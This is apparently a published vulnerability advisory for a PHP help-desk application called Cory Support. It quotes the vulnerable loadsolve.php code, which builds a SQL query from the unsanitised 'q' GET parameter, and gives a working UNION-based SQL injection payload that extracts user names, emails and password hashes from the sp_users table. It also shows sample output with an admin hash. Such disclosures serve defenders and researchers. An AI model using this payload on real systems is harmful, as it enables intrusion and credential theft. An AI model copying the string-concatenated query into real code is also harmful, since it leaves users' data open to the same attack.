Vulnerability Description  
==========================  
  
The Cory Support is prone to Get MySQL Injection Vulnerabilities  
  
==========================  
PoC-Exploit  
==========================  
  
// GET MySQL Injection with "q" Parameter in /loadsolve.php  
  
1 : <?php  
2 : require_once('includes/config.php');  
3 : require_once('includes/database.php');  
4 : $sql = "select Solutions, ProblemID from  
".$table_prefix."problemsolutions where ProblemID = '".$_GET['q']."'  
limit 3";  
5 : $qry = mysql_query($sql);  
6 : if(mysql_num_rows($qry)>0){  
7 : while($rows = mysql_fetch_array($qry)){  
8 : echo '<img src="'.$base_url.'imgs/re.gif"  
style="margin-left:3%"/>'.stripslashes($rows['Solutions']).'<br>';  
9 : }  
10 : echo '<p style="margin:0px; padding:0px; margin-left:3%">. .  
.</p><a href="'.$base_url.'view.php?id='.$_GET['q'].'"><small><i>View  
more</i></small></a>';  
11 : }  
12 : else echo '<i>Not have answer !</i>';  
13 : mysql_close();  
14 : ?>  
  
In line 3 coder failed to secure the "q" Parameter Against (MySQL  
Injection) using q parameter  
  
(1) Under "q" set your GET Parameter q to "999999.9' union all select  
(select concat(0x27%2C0x7e%2Cunhex(Hex(cast(sp_users.UserID as  
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Name as  
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Email as  
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Password as  
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.UserGroup as  
char)))%2C0x27%2C0x7e) from `DATABASE NAME HERE`.sp_users limit 5%2C1)  
%2C0x31303235343830303536 and 'x'%3D'x" (without quotation marks)  
  
  
  
The "q" GET MySQL injection will be executed for the MySQL Server From  
browser (You'll see the info like  
'~6^admin^[email protected]^e10adc3949ba59abbe56e057f20f883e^3'~)
